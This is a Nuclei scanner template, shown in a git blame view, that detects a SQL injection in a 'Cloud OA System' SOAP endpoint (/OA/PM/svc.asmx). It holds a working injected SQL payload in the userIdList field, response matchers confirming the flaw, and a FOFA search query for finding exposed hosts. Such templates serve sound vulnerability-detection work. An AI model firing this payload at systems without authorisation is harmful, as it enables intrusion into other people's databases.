nuclei-templates/http/vulnerabilities/other/cloud-oa-system-sqli.yaml

54 lines
1.7 KiB
YAML
Raw Permalink Normal View History

2023-08-18 03:22:06 +00:00
id: cloud-oa-system-sqli
info:
2023-09-08 11:25:00 +00:00
name: Cloud OA System - SQL Injection
2023-08-18 03:22:06 +00:00
author: SleepingBag945
severity: high
2023-09-08 11:25:00 +00:00
description: |
cloud OA system /OA/PM/svc.asmx page parameters are not properly filtered, resulting in a SQL injection vulnerability, which can be used to obtain sensitive information in the database.
reference:
- https://github.com/GREENHAT7/pxplan/blob/e2fc04893ca95e177021ddf61cc2134ecc120a8e/xray_pocs/yaml-poc-eqccd-eqccd_oa-sql_injection-CT-456760.yml#L8
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 1
2023-09-08 11:25:00 +00:00
fofa-query: body="全程云办公" && body="/OA/WebResource.axd"
tags: cloud,cloudoa,sqli
variables:
num: "999999999"
2023-08-18 03:22:06 +00:00
http:
- raw:
- |
POST /OA/PM/svc.asmx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUsersInfo xmlns="http://tempuri.org/">
2023-09-08 11:25:00 +00:00
<userIdList>LOWER(CONVERT(VARCHAR(32),HashBytes('MD5','{{num}}'),2))</userIdList>
2023-08-18 03:22:06 +00:00
</GetUsersInfo>
</soap:Body>
</soap:Envelope>
matchers-condition: and
matchers:
- type: word
2023-09-08 11:25:00 +00:00
part: body
2023-08-18 03:22:06 +00:00
words:
- "System.Data.SqlClient.SqlException"
2023-09-08 11:25:00 +00:00
- "{{md5(num)}}"
2023-08-18 03:22:06 +00:00
condition: and
2023-09-08 11:25:00 +00:00
- type: word
part: header
words:
- text/xml
2023-08-18 03:22:06 +00:00
- type: status
status:
2023-10-14 11:27:55 +00:00
- 500
# digest: 490a0046304402201ef7eee5943cd3f135682a31365b7e6e55689cfc32f27191495dd04665d674c402206add4553dd66405401f96e1d14db0797a45c9bfc1beb88c8fd8674137a9d81d7:922c64590222798bb761d5b6d8e72950